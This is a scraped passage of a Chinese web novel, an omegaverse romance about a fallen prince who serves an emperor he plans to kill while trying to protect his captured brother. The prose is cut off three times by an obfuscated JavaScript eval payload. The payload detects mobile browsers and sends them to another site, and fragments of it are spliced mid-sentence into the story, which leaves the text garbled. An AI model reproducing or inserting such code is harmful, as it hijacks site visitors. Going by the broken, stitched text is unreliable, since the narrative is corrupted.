唐穆先一步上前道:“陛下,艾佃伊帝国的余孽已经抓到了,只是刚才在宫门口,他挟持了洛湫准备逃跑,没有成功。” 楚勝坐在上面静静听着汇报,阖眼指尖轻轻敲着太阳穴。 唐穆继续道:“只是属下盘问了方宿与其他将士,说是方宿和洛湫在一块,被引得进了易感期,随后洛湫便不见了,再然后洛湫便出现在了宫门口,宫门口的士兵说他是来求助的,再然后他们便被打晕了,陛下,需要审一下洛湫吗?” 江浔心下一惊,刚想开口将所有的事情揽下,却见洛湫正朝着他使眼色,示意他不要轻举妄动。 江浔皱了皱眉,传闻华利亚帝国新任的王心狠手辣暴虐无常,若是他弟弟真的受审,半条命恐怕都没了,哪里受得住? 犹豫之下他又打算开口,却见慵懒的帝王缓缓睁开了眼睛,浅蓝色的眼瞳似有神性一般,而那人的目光却落在了洛湫的身上。 江浔生怕那暴君开口就要处置洛湫,于是抢先一步骂道:“暴君!你迟早要为你的所作所为付出代价!” 洛湫心底咯噔一声,坏了,要是楚勝准备处置江浔,他又该如何从这么多人手里救下他哥哥呢? 楚勝的目光却是落在了洛湫的脖颈上,雪白修长的脖颈添了一道血痕,看上去十分艳丽,他轻轻“啧”了一声,对洛湫道:“来吾这里。” 洛湫一愣,这暴君第一句话竟然不是处置谁,他不知道对方要做什么,只能依言缓缓走向对方,走到楚勝的身侧。 然而对方却忽的伸手,冰凉的皮质手套贴上了他的后脖颈,将他们之间的距离陡然拉近,洛湫看着楚勝近在咫尺的那张放大的脸,被惊艳的同时又有些位置的恐惧,对方平稳的呼吸喷洒在他的鼻尖,他能感受到对方信手拈来的气定神闲。 这暴君究竟打算做什么?又是要把他的腺体割破吗?还是彻底废掉? 不止是他心底在猜测,江浔看到这一幕,也捏紧了心脏,小湫离那暴君那么近,脆弱的脖颈被那人覆盖在掌心,只需要稍稍用力好似就会将洛湫捏碎了脖子,若是小湫有个什么三长两短…… 这暴君真是该死! 然而下一秒,他捏紧的拳头被惊得松了松,眼底闪过难以置信,暴君不仅没有动手捏碎洛湫的脖子,反而低头落在了洛湫受伤的脖颈上。 这是要做什么?是准备咬住劲动脉来杀死他吗? 江浔和洛湫都在心底这样想着。 然而下一秒,湿软的触感落在了他的脖颈上,正好是洛湫被匕首划伤的位置。 洛湫的瞳孔微微放大,眼底透着震惊。 暴君……暴君竟然在舔舐他的伤口。 几乎是一瞬间,洛湫便想到了那个被囚在花房的温柔alpha。 然而这个想法只存在了短短一瞬,因为楚异不会弄疼他,只会让他觉得酥痒,不知道是不是腺体敏感的原因,当时如同电流划过全身,那滋味记忆犹新。 但此刻,疼痛感从他的伤口微微传来,暴君像是带了些许惩罚性,让他觉得有些痛,但又没有真正伤害到他。 不止是洛湫震惊,下面的三个人也十分震惊。 唐穆和方宿在对视中都看到了双方的诧异,惊讶他们的陛下竟然真的对这只白猫Omega如此宠爱,而方宿震惊的同时又多了些许失落,大概是易感期刚过的缘故,至于唐穆,却是有些不甘。 但最震惊的,莫过于一旁的江浔,他以为洛湫说的接近暴君,只是能够见到对方,和对方在皇宫里,至于那些传闻,他根本半点也没信。 但是此时此刻,他却亲眼看见他的弟弟被敌国的暴君按住脖子,轻柔地舔舐着伤口。 江浔看着,不禁担忧了起来。 但凡洛湫对面换一个别的什么人,他都会觉得对方是真的将他弟弟放在心上宠着的。 可偏偏是那暴君,楚勝喜怒无常,这会儿或许可以对小湫宠爱有加,可谁知下一秒会不会将他弟弟生生掐死,这样的人,太过危险。 他弟弟在暴君身边,也只会终日胆战心惊。 不行,无论小湫之后再说什么,他都必须让小湫离开,复仇的事情交给他就好,他的弟弟可是艾佃伊帝国最受宠爱的小王子,是他父王母后和他捧在手心里长大的,怎么能被那暴君随意玩弄?! “吾在帮你治伤,你却在走神?”低沉的声音从耳侧传来,洛湫的思绪被拉回来,脖颈轻轻一痛,他捂着脖子和楚勝拉开了一点距离,那人竟然报复一般在他的脖子上咬了一口。 不是很疼,也没有伤口,却留下了淡淡的印痕。 洛湫没察觉到,很快便放开了手,楚勝的手又缓缓落在了他的腺体上,冰凉的皮质手套顿时令楚勝一个激灵,像是被什么金属物质抵在腺体上,他想要躲开,却又被眼前这人含着笑意的眼神禁锢在原地。 “去把齐钧叫来。”楚勝吩咐了门外的柏城。 洛湫下意识便想到楚勝要找那位齐博士对他的腺体做些什么残忍的手术,他抿了抿唇,解释道:“信息素的事……我不是故意的。” “嗯,吾知道。”楚勝却接了话,让洛湫有些疑惑。 “是吾没有照顾你的需求,”楚勝轻轻笑着,“下次你若是想要标记了,记得告诉吾。” 洛湫感受着在他腺体上摩挲的力道,总觉得对方是在威胁他,再被摸下去,他恐怕要当着这么多人的面直接软倒在暴君怀里了,那也太丢人了,尤其是他哥哥也在…… 洛湫咬了咬牙,问:“陛下是要标记我吗?” 不是都说楚勝不喜欢Omega吗?他还以为这暴君有多洁身自好呢。 楚勝笑了笑,似乎看出了洛湫的想法:“吾会把你关起来,免得你再惊扰吾的将士。” 方宿一惊,这话状似在斥责洛湫,实际上确实在责怪他定力不够,他连忙道:“是属下的错,属下愿意受罚。” 楚勝的目光却仍旧落在洛湫身上,一点也没分给方宿。 洛湫知道对方是冲着他来的,只是不知道对方究竟是知道了他和江浔的关系,还是纯粹只是想发难。 洛湫这会儿只能兵行险招,他握住了楚勝的手,将自己的腺体从对方的掌心救了出来,而后十分不自然地把脸贴在了楚勝的掌心,故技重施:“谁让陛下不肯标记我的,我和方宿少将只是恰好遇到,没想到会发生那种事,陛下要是早早标记我,也就不会出事了。” 楚勝挑了下眉,用手顺势抚摸着白猫的脸颊,最后捏住了Omega的耳朵,那耳朵竟然在瞬间染上了一层粉色,楚勝轻轻摩挲了起来:“如此说来,是吾的不是。” 明明是带着笑意的语调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206589|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却让人不寒而栗。 洛湫想了想,有些僵硬但主动地蹭了蹭楚勝的手掌:“我心里只有陛下,没有别人,我会等陛下想要标记我的那天。” 楚勝似笑非笑地看着他,似乎是满意洛湫的这个答案,这才将目光移向了方宿,语气微淡:“如果帝国的将士无法控制好自己的易感期,那么在战场上,随便一个Omega都能置你于死地。” 方宿心底一凉,楚勝虽然只是斥责他,但他需要表态,他连忙道:“属下明白。” 洛湫心底松了一口气,这件事应该算是过去了,但他哥哥又会怎么被楚勝处置呢? 洛湫的心顿时又提了回来。 他正想着,就见楚勝的目光瞥向了江浔,江浔也正狠狠瞪着楚勝,眼底的恨意与杀意比刚刚见到暴君还要强烈。 楚勝没有在意,只道:“你伤了吾的Omega,吾得想想怎么处置你,先押去审讯室吧。” 言下之意并没有要立刻杀了江浔。 唐穆皱了皱眉,犹豫了一下,还是劝谏道:“陛下,斩草不除根,春风吹又生!” 他话音刚落,强大的精神力压迫感朝他袭来,带着深海的气息,恐怖到一瞬间令他感到了窒息。 唐穆右膝一弯,重重跪在光滑的地板上,骨头碎裂的声音清晰地传到每个人的耳中,他额头冷汗顿时滑落:“是属下多言。” 楚勝一旦命令出口,绝无更改,他不该妄图想要修改陛下已经决定的事情。 那恐怖的精神力被收了回去,唐穆勉力从地上站起来,他一瘸一拐地押着江浔准备离开。 江浔这会儿也不能多看洛湫几眼,生怕自己一有什么不对劲就被那暴君发现,从而牵连洛湫。 他得寻找机会,和小湫通个气。 齐钧正好这会儿到了,看见唐穆一瘸一拐地从里面出来,心道不妙,这会儿陛下心情八成不会太好。 但他也只能硬着头皮进去:“陛下。” “Omega腺体贴。”楚勝只说了这一句。 齐钧顿时有些茫然,这好像……也没生气? 他从医疗箱里拿出腺体贴递给楚勝,紧接着就看见他们那个对Omega不感兴趣的陛下摘了手套,撕了腺体贴,轻轻贴在了洛湫的后脖颈上。 方宿上次传的谣言他没有亲眼所见,原本也只是当个饭后绯闻听听,没成想这次让他亲眼看到了真的! 他们陛下真的老房子着火了!!! 洛湫不敢动,一点儿也不敢动。 楚勝帮他贴腺体贴,隔着那一层薄薄的医用胶布,那人的指腹按压着他的腺体,带了点警告的意味,和直接触碰不同,隔着胶布少了指尖的温度,带了点隐隐约约的摩擦,更让他难.耐。 “都出去吧。”楚勝看着耳尖发红的洛湫,一声令下,齐钧和方宿便准备离开了。 房门被关上,空间里只剩下洛湫和楚勝两个人,楚勝噙着笑意看向对方:“你的信息素很浓郁,是发.情期了吗?” 洛湫僵在原地,连尾巴都不敢动:“没有。” 明明腺体贴都贴了,他也没有特地释放信息素,屋子里哪里有他的信息素啊? 楚勝闷声笑着:“没有发.情,那你的尾巴为什么缠着吾?” 洛湫闻言,低头一看,只见自己的尾巴正在楚勝的小腿上缠了两圈,色.情得仿佛在求.欢! 什,什么时候缠上的?! 18.第 18 章 “什么时候缠上的呢?”楚勝看着洛湫的脸在瞬间爆红,却不顾对方羞愤欲死的心情,悠悠道,“好像是在吾释放信息素的那一刻。” 洛湫:“……” 地缝呢? “你好像对吾的信息素很是喜欢?”楚勝的话如同一道惊雷在洛湫耳边炸响。 洛湫扯了扯自己的尾巴,将缠在对方腿上的尾巴拽回来。 他和这暴君的匹配率竟然也是百分百。 巧合吗。 如果说他s级的信息素能够影响大部分的alpha,那么s级的alpha未必在这个“大部分”里,只是他们正好是百分百的契合度。 楚异是,楚勝也是。 洛湫抿着唇,低头道:“那陛下是要把我关起来了吗?” 他刚说完,楚勝抵在他腺体上的手微微用力,洛湫被这突如其来的按压惊得轻呼了一声。 他和楚勝之间的距离再度拉近,整个人卡进了对方的双.腿之间,即便他低着头,也能对上那双浅蓝色的眼瞳,那人正戏谑地望着他:“你好像很期待?” 洛湫无法移开视线,只能直直地望着对方,那双眼睛好似一面镜子,倒映出他此刻羞赧狼狈的模样,可他仍旧只能继续维持着人设:“要是能和陛下关在一处,那我确实会很期待。” 这话说完,楚勝甚至能感觉到腺体贴下的柔软腺体都开始微微发烫。 明明不擅长说这种话,却会因为说了这些话而让整个人都陷入害羞。 很可爱。 “好,”楚勝松开了洛湫,觉得自己再按下去,小白猫是真的要陷入发.情期了,“正好吾觉得贴身助理没有二十四小时贴身跟着实在算不上贴身这两个字。” 洛湫感受到腺体上的压迫一松,他顿时想要离开楚勝的周身范围,却又被他生生忍住,在听到二十四小时贴身,心底忍不住骂他。 黑心的资本家! 二十四小时待命就已经够丧尽天良了,现在还要二十四小时贴身,这暴君最好晚上睡觉一只眼睛站岗,一只眼睛放哨! 可他只能违心道:“是,陛下。” 再怎么样也比他原本设想的最坏打算的好,不过就是贴身看着而已…… 他正想着,楚勝幽幽地甩过来一句:“你被那人挟持还受了伤,生气吗?” 洛湫见对方重新提起,不由得想起刚才楚勝当着那么多人的面舔舐他的伤口,实在不像是一个暴君会做的事,果然还有后招。 他这会儿要是说自己不生气,恐怕就真和“余孽”搅合不清了。 “当然生气。”他只能如是道。 楚勝果然满意地点了点头:“那吾给你个机会,由你去审他,如何?” 洛湫微微睁大了眼睛:“审什么?” 楚勝浅笑着,如同恶魔:“唐穆会告诉你的。” 洛湫惴惴不安地跟着楚勝,一整天都心不在焉。 或许真的被他猜中了,楚勝是要用他哥哥为引,将艾佃伊帝国其他还活着的人都找出来,连根拔起。 他得借这个机会,问问是否还有别的人活着。 到了夜里,洛湫下意识就要在门口和楚勝分道扬镳,准备回自己的卧室,走了几步发现不对,身后并未传来开门关门的声音,他回头,就看见楚勝正似笑非笑地望着他。 忘了,二十四小时贴身。 他转身回去,进门的时候才想起一件事。 楚勝房间里只有一张床,他……睡哪? 洛湫跟在楚勝身后,看着楚勝走到里间,没有要给他准备睡觉地方的意思,忍不住问:“陛下,我睡哪?” 楚勝却只是抬起手,冲着洛湫单眉一挑:“衣服。” 洛湫:“……” 他冷着脸走到楚勝面前,又替对方脱掉早上他没能参与穿衣这项工作的衣服,不禁在想,要是天天这么干,这暴君以后不会生活不能自理吧? 毕竟就算是以前还在艾佃伊帝国时候的他,也在学会穿衣之后就没再让人服侍他穿衣服了。 褪去那一身堪称禁欲的衣服,眼前的男人显露出他傲人的身材,洛湫看着暴君穿衣显瘦脱衣有肉的模样,感慨alpha和Omega身材上的不公平,明明他也有锻炼,研究室那一年更是魔鬼式训练,可还是没办法达到这样完美的身材。 尤其是……对方还比他高不少。 “喜欢?”头顶传来楚勝含笑的声音,洛湫才发现自己走了一会儿神。 他连忙拿来睡衣给楚勝穿上:“喜欢。” 这句倒是真心的,他要是也拥有这样的身高和身材,不愁把暴君按在地上摩擦。 楚勝按住了他要去扣纽扣的手:“可以摸。” 洛湫一愣,忍不住抬头看向楚勝,对方竟然不是在开玩笑:“为什么?” 楚勝的眼底才闪过一丝诧异:“哦,原来你不是垂涎吾的美色。” 洛湫:“……” 哦,他现在是爱慕陛下爱到被划破腺体也不愿意离开皇宫的恋爱脑人设。 “要摸的。” 洛湫这会儿反而显得有些火急火燎的,伸手就贴上了楚勝的腹肌。 楚勝的腹肌和他自己的触感完全不一样,大一些,皮肤的质感很丝滑,贴在上面软软的,洛湫竟然在羡慕的同时还不想收回手。 但这却是他头一次摸别的男人的腹肌,贴在上面一动不动,僵在原地,耳朵又烫了起来。 楚勝的手覆在他的手上,他像一块夹心饼干,被对方掌控着,那人带着他的手在腹肌上游走,丝滑得仿佛在摸一块大巧克力。 到后面楚勝的手已经撤走了,但他却自己游走在对方的腹肌上,对方随着呼吸在他的掌心下起伏,稍稍用力便能感觉到下面坚硬的肌肉。 他也不知道自己摸了多久,直到自己的衣服下摆被人掀起来,冰凉的触感贴上他的腰,洛湫才一惊:“你干什么?!” 楚勝的手落在洛湫的腹肌上,笑道:“礼尚往来。” 洛湫这下整张脸都红了,连忙把手收回来,退了两步,和楚勝拉开距离,一手扯了扯衣服下摆:“谁让你摸的。” 楚勝评价道:“有点小。” 洛湫觉得自己快熟了:“你才小!还软!” 楚勝愣了一下,闷声笑了起来,仿佛连续的音节,一下一下砸在洛湫的耳边。 洛湫气急:“陛下该休息了!” 楚勝却道:“出言不逊,以下犯上,吾该罚你。” 他其实很少直接说要罚人,他的那些下属自然会从他的话语中明白他更深层的意思,甚至过度解读。 但他不介意对这只小白猫说这样直白又浓烈的话。 洛湫顿时严肃地问:“陛下要罚什么?” 楚勝躺到了床上,悠悠道:“罚你睡地板。” 洛湫:“……” 洛湫最终自己打了个地铺,睡在楚勝的床边,入睡前不由得多嘴问了一句:“那陛下原本打算让我睡在哪里?” 打地铺是惩罚的话……原本是叫人来搭个床吗? 楚勝:“原本吾可没打算让你睡觉。” 洛湫:“?” 什么意思? 第二日洛湫便跟着唐穆前往审讯室,他看着审讯室大门,心底叹了一口气,果然进到这里,只有零次和无数次,即便这次不是进来“被审讯”,但一不小心,可能就会再次“被审讯”了。 在看到江浔的时候,洛湫微微松了一口气,还好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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洛湫眸光一凛,s级精神力瞬间朝着唐穆释放了过去,他夺过按钮再次砸碎的同时,整个人闪到了唐穆的身后,在对方抵抗他的精神力瞬间,猫尾缠在了对方的脖颈上,身体弓成弧形,一脚踹在唐穆的脊骨上,将人直接踹到了墙上,两个人的姿势瞬间犹如一张拉满的弓。 唐穆咳出一口血,眼底的震惊溢了出来,这小白猫跟在陛下身边温顺的模样,让他忘了对方是只双s加持的可怖存在,他能只凭自己的信息素引得方宿当场进入易感期,要知道,他们军人都是经过特殊训练的,不可能出现这样的情况,是他大意了。 “唐穆上将听不懂话吗?军令如山,我替陛下教教你什么是绝对服从。”洛湫冰冷的眼眸望着唐穆,犹如睥睨蝼蚁。 唐穆趴在墙上动弹不得,也知道自己理亏,于是道:“是我逾越了,你继续。” 洛湫这才松开尾巴,收回了脚,他顺手从唐穆腰间抽出那把镶嵌着红宝石的匕首,缓步走到江浔面前,眼底的冷意早在转身的时候烟消云散。 他俯身,手里的匕首轻轻抵在江浔脖颈间,他在对方耳边轻声道:“不论是否还有其他人活着,你都要说是,明白吗?” 他说完,也不等江浔回答,匕首轻轻在江浔的脖颈是划出一道血痕,和他被“挟持”的时候,位置、力度,都分毫不差。 他看向唐穆,道:“唐穆上将,问吧。” 唐穆看着江浔那条连痛都算不上的伤痕,头一次露出了无语的表情,却也只能问话:“除了你,艾佃伊帝国是否还有其他人活着?” 果然。 洛湫露出了然的神色。 随之,他有些紧张地望向江浔,江浔犹豫了半晌,才道:“是。” 唐穆又看向洛湫,显然如果换做是他,根本不会相信这个回答。 洛湫冷笑了一声:“唐穆上将是不满意这个答案吗?” 唐穆无奈,话语间带着警告:“我满不满意不重要,重要的是,陛下是否会满意。” 19.第 19 章 唐穆甩下这句话,便去跟楚勝打小报告了。 洛湫嗤了一声,倒是正好借此机会能和他哥哥通个气。 他连忙走到江浔面前,凑近他问:“还有其他人活着吗?” 他的语气都带了点颤抖。 江浔却摇了摇头:“没有了,就连我,那时候也是因为远在他国才活下来,之后东躲西藏苟延残喘,我找了很多地方,都没有找到其他人,来这里的时候抱着复仇的必死决心,却没想到竟然碰到了你。” 他望着洛湫,像是看到了希望的曙光,如果不是条件不允许,他想抱着他的弟弟:“我的手上有电击环,我走不了,但是你可以,小湫,听哥哥的,离开这里,复仇的事不需要你来承担,父王母后在天之灵也一定希望你能好好活下去,为了自己活着。” 洛湫深深地看了他一眼,摇头道:“我才是那个走不了的人,哥,你知道我是怎么活到现在的吗?” 江浔满眼心疼地望着洛湫,从洛湫的口中听到了自己的弟弟从亡国之后到被研究院所救,再到决心进宫复仇,明明只是简单的寥寥几句话,可他的泪水却从眼眶滑落,洛湫说的再平静再简洁,他也能知道这几句话背后蕴含着多么沉重的负担。 “你受苦了,小湫。”千言万语,也不足以安慰他的弟弟。 洛湫摇头道:“我现在活着的唯一目的就是杀了暴君,为艾佃伊帝国,为父王母后报仇,哥哥,你才是那个应该好好活下去的人,我会找到解开你身上电击环的办法,到时候,你就能离开这里。” 江浔却仍旧不赞同洛湫的这个决定:“小湫,你让我怎么放心?那个暴君喜怒无常,你待在他身边指不定要被怎么折磨,小湫,我不能让你继续受苦啊!” 洛湫却坚持道:“哥,这件事我会处理的,听我的,离开这里。” 江浔没想到一向乖顺听话的弟弟,如今倒是有了自己的主张,并且绝无更改的余地,心疼之余,更多的还有担忧:“至少……让我帮你。” 洛湫看着江浔,眼底一片笑意:“哥,你能活着,我真的很高兴。” 江浔还要说什么,洛湫打断了他:“我该走了,指不定那唐穆说什么我的坏话。” 江浔知道自己拦不住,这会儿也无法拦着洛湫,叹息道:“小湫,你一定要小心。” 洛湫步子一顿,点头答应:“我会的。” 他走出审讯室,却见方宿和身影进了旁边的一间审讯室,洛湫眯了眯眼。 如果没记错,那间审讯室似乎是他之前待过的手术室。 皇宫内的审讯似乎并不归方宿管,方宿怎么会出现在这里? 洛湫心下觉得奇怪,摸了过去,只见手术室里除了方宿,还有一个熟人。 齐钧。 齐钧此刻穿着白大褂,手上带着医用手套,连口罩也戴上了,一副严阵以待的模样。 方宿走到齐钧面前,齐钧带着不解与无奈的目光望向他:“你确定要这么做?” 方宿犹豫了一下,最终还是点了头:“嗯,我确定。” 他自己躺上了手术台,底下的束缚带将方宿整个人箍在床上,背朝上,连脖子也动不了。 洛湫一下子便想到了那天自己被困在这张床上,被划开腺体的痛苦。 他推门进去,问:“齐博士,这是在做什么?” 齐钧见到他也有些诧异:“你怎么在这儿?” 洛湫言简意赅:“审人。” “哦……”齐钧也只是顺嘴问一声,“还不是方宿少将要做腺体切割手术,求我来的。” 洛湫顿时看向躺着的人:“腺体切割手术?为什么?” 齐钧摇头:“谁知道呢,明明他们军人是有训练对Omega信息素抵抗的,根本不需要这么做,我可说了啊,现在后悔还来得及,等下我一针麻药下去,手术刀一划,可就没有反悔的余地了啊。” 方宿没有说话,只道:“开始吧,齐博士。” 洛湫皱起了眉头,拦住要去拿手术刀的齐钧,直觉告诉他,方宿做这个决定有他的原因。 为什么呢?是因为他释放信息素导致方宿进入易感期? 还是因为暴君的那句“战场上不需要会被Omega影响的alpha”? 可是……也不至于到要将腺体切除的地步啊。 洛湫虽然痛恨着华利亚帝国,但并不代表他可以心安理得地利用每一个人。 如果真的是因为他令一个本该前途一片光明的alpha就此断送,他的良心恐怕会受到谴责。 洛湫走到手术台前,望着方宿,语气严肃:“没了腺体,你就不是alpha,只是一个beta,连成为军人的资格都没有,你现在拥有的一切也都可能不再属于你,即便是这样,你也要这么做吗?” 方宿身形一僵,好半天他才道:“可这是陛下的意思。” 洛湫听这话便知道自己的猜测没有错,刚刚方宿那一瞬间的犹豫告诉他,对方也并不想真的切除自己的腺体,他道:“陛下并没有说要你切除自己的腺体。” 方宿动不了,语气中也带着无奈与妥协:“但这是最彻底的解决方法,我必须要给陛下一个交代。” 洛湫忽然觉得,方宿和他哥哥很像,一样的执拗,却也一样的温柔,从不怨恨别人,却想着舍弃自己。 他的声音软了下来,问:“那你呢?你自己真的不在乎自己吗?” 切除腺体的痛苦暂且不说,从alpha变成beta,不管是从生理上还是生活上,又或者是其他牙面临的困难,都将是源源不断的。 方宿瞳孔一颤,他确实犹豫过,直到躺上这张手术台之前,他还犹豫了几秒,可是从小到大,他被家族培养着,父母告诉他,他的存在就是为了帝国,他可以为帝国献出一切。 生病了也要继续训练,腿瘸了也要继续训练,易感期也要训练,他像是没有自我感情的机器,唯一的目的就是为帝国效力,为家族获得荣光。 所以,腺体而已,没什么好犹豫的。 但这却是第一次有人问他,你自己呢? 你真的想做这个手术,想把 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楚勝并未回答,只道:“既然你已经报复回去了,那么之后就交给唐穆吧。” 洛湫试探着问:“陛下是觉得我做的不够好吗?” 楚勝笑了笑:“你做的很好,唐穆越俎代庖,确实该罚,不过你终究是吾的贴身助理,审人终归不是你的工作。” 洛湫抿了抿唇,忽然道:“那不如交给方宿少将吧。” 楚勝轻轻挑眉:“方宿?” 洛湫点头:“方宿少将被我引得进入易感期,到现在还在自责,说一定要给陛下一个交代,正拉着齐博士准备切除腺体呢,陛下不如给他一个戴罪立功的机会?” 楚勝的目光静静地落在他的身上,压迫感顿时席卷而来,洛湫这才明白那些属下为何会对暴君这般畏惧。 半晌,楚勝才缓缓开口:“切除腺体?” 洛湫没有抬头,但听见楚勝没有继续说话,只是唤了一声唐穆,唐穆立刻道:“属下告退。” 门被带上,房间里又只剩他们两个人,洛湫听到上方传来响动,楚勝从座位上走了下来,那人越走越近,直到停在他的面前。 他的下颌被对方挑起,洛湫被迫抬头与楚勝对视,楚勝戏谑道:“所以,你是在责怪吾?心里觉得,吾不近人情,是个暴君?” 洛湫虽然心里骂了楚勝很多遍暴君,不过眼下肯定是不能承认的,于是温顺道:“不敢。” 楚勝轻笑着松开洛湫:“每个alpha进入军营都有专门针对信息素的训练,他的功课做得不够充足,自然是该给吾一个交代,不过吾可没有要他切除腺体。” 洛湫看了楚勝一眼,从对方的眼中读出一点福至心灵,顺势道:“陛下自然是宽厚仁德,更何况这事本来也就不是方宿少将的错,s级信息素也是特例,陛下肯定不会因为这个怪罪方宿少将的。” 楚勝淡笑着看他:“所以你现在是在吹枕边风吗?” 20.第 20 章 洛湫被楚勝这句突如其来的问话吓了一跳,他没法接,只能道:“我只是陛下的贴身助理,对于方宿少将……只是觉得他是一个可以为陛下所用的人才,不该被这么一件小事所连累。” 楚勝不置可否,神色却有些复杂:“你和他很熟吗?” 洛湫一愣,不明白楚勝为什么会问这个,摇头道:“不熟。” 楚勝对这个回答说不上满意:“既然不熟,为什么不惜重新提起此事?吾明明已经为你翻篇了。” 不知怎么的,洛湫总觉楚勝唇角噙着的那抹笑意格外危险,他思考了一下,谨慎道:“方宿少将终归是陛下的人,若是陛下执意要毁了他,我自然不会说什么。” 帮到这样他也算仁至义尽了,毕竟是敌国少将,不值得让他为了对方得罪敌国暴君,毁了自己的计划。 楚勝看着他,笑道:“你确实不会说什么,却会在心里想,吾果然是个不近人情的暴君。” 洛湫差点都要以为楚勝有读心术了:“那陛下准备如何呢?” 楚勝话语间似乎却没打算轻饶了洛湫:“吾可以放过他,既然你将罪责揽到了自己身上,那么便该换成你给吾一个交代。” 洛湫抿了抿唇,看向楚勝,对方的神情算不上生气,但他总觉得那笑意也称不上愉悦:“我……我没什么能给的。” 楚勝却道:“你有。” 洛湫倒是愣了,他全身上下只有一把匕首,就连唐穆腰间那把镶嵌着红宝石的匕首都比他的好,楚勝难道要他那把淬了毒的破匕首吗? 楚勝看着洛湫的模样,只觉得有趣,缓缓靠近了对方,侧目落在洛湫的腺体上:“信息素。” 洛湫顿时捂住了自己的腺体,腺体贴没有忘记贴,这会儿他的信息素应该没有泄露:“什么意思?” 楚勝这个姿势如同大山倾压,将洛湫整个人笼罩在怀里,他的目光被洛湫的手隔绝,又落在了对方的耳尖。 Omega的反应十分生涩,稍稍靠近一点就会耳红,楚勝探手捏住了微红的耳尖,轻轻摩挲了一下。 洛湫的耳朵更烫了。 楚勝的心情一下就好了:“百分百契合度的信息素可以助吾入眠,既然都把你放在身边了,岂有不用的道理?” 洛湫红着耳朵,很想拍开那只逗弄他的手,却又只能生生忍住,承受着那份酥痒:“那你要怎么用?” 楚勝的语调缓慢,笼统道:“晚上给吾释放你的信息素就好。” 洛湫反倒松了口气,只是释放信息素让暴君睡觉而已,倒也不是什么大不了的事:“那……那晚上见。” 楚勝看着浑然不知道晚上会发生什么的小猫,笑了一声:“好,晚上见。” 洛湫带着楚勝的口谕回到手术室,方宿和齐钧还在等他,他看着里面没有继续手术的两个人,松了一口气,快步走到方宿面前:“陛下说了,这事与你无关,怪不着你,你不用自责,另外,审人的工作交给你了,希望你能好好表现。” 方宿的眼睛突然就亮了起来,随即看着洛湫,又问:“那你呢?” 洛湫不明所以:“什么?” 方宿的笑容很快就收了回去,看着洛湫,问:“陛下可没有那么好说话,他给我将功赎罪的机会,那件事就没有怪你吗?” 洛湫一愣,想起楚勝的话,释放点信息素当做安眠药,这也算不上什么惩罚吧? 于是他摇了摇头:“没有。” 方宿这才松了一口气,重新露出了笑意:“多谢,我欠你一个人情,日后若是有需要,随时可以找我。” 洛湫笑了笑,方宿以为释放信息素是他不小心的,却不知道是他故意设计,按理来说他这么做只是让自己不那么愧疚。 不过,他确实会需要方宿,把哥哥交给方宿,何尝不是他的私心呢? 几个人出了审讯室,洛湫转头对上了齐钧看着他仿佛十分新奇的样子,问:“齐博士,怎么了吗?” 齐钧推了推眼镜,道:“你居然真的能说动陛下改变主意?还没有惩罚你?” 洛湫脸色古怪:“可能是因为陛下本来也就没有要这样处置方宿少将吧……” 齐钧却摇了摇头:“不,即便陛下心里并不是要这样处置方宿少将,但也绝对不会因为别人的三言两语随便将这事翻过去,我原本以为陛下对你只是一时兴起,看样子,他还挺喜欢你的。” 洛湫:“……?” 齐钧是认真的吗?那个暴君怎么可能是喜欢他?那明明是要捉弄他,而且……也不是没有惩罚。 他勉强提了提嘴角:“那真是……太好了。” 洛湫从口中挤出这句话,目送两人离开。 回到楚勝的卧室,那暴君仍旧坐在座位上处理的公务,一手支颐着脑袋,一手随意地搭在桌上,纤长的指节敲打着桌面,听着虚拟投影传来的汇报声,偶尔下达指令。 洛湫也不知道为什么,楚勝处理公务竟然也不避着他点,就不怕他听到什么机密吗? 还是觉得他带着秘密走不出皇宫? 边防布局,人事变动,节日欢庆,这些洛湫都听了个十成十,他总觉得有朝一日楚勝和他的游戏玩腻了,就会把他杀了灭口。 一直等到日落,洛湫伸了个懒腰,楚勝也处理完了事情,他侧目看了过来,笑道:“累了?” 洛湫的懒腰伸到一半,默默收回了延展出去的手臂,却见楚勝也没多说什么,拿起旁边动也没动过的糕点,递到了他的嘴边:“补充一下体力,你等会还要继续干活呢。” 洛湫愣了一下,随即才反应过来楚勝说的“干活”是什么。 他就着楚勝的手咬了一口糕点,心道,不就是释放点信息素吗?能费什么体力? 洛湫吃完那块糕点,跟着楚勝进到里屋,自从上次摸过楚勝的腹肌后,洛湫再也没敢盯着楚勝的身体看,生怕这暴君又让他摸摸哪里,虽然手感确实不错,但是代价他付不起。 给楚勝换完衣服,对方看了他一眼,拍了拍床边的位置:“今晚睡这里吧。” 洛湫看了一眼,像是被什么东西烫到了似的,连忙摇头:“不用了!” 楚勝眉头一挑:“吾以为你会很乐意。” 洛湫神色一僵,心底疯狂寻找着搪塞的借口:“我……是很乐意的,但是,但是,陛下不是真心的。” 楚勝眼底闪过兴味:“吾为何就不是真心的?” 洛湫装作有些不满道:“陛下只是把我当做一个可以逗弄的宠物罢了,闲了喂块糕点,心情好了撩拨两下,不是我要的喜欢。” 楚勝笑了一声,没有否认洛湫的话:“你对自己的定位还挺清晰的。” 洛湫:“……” 果然吧,齐钧根本不了解暴君。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 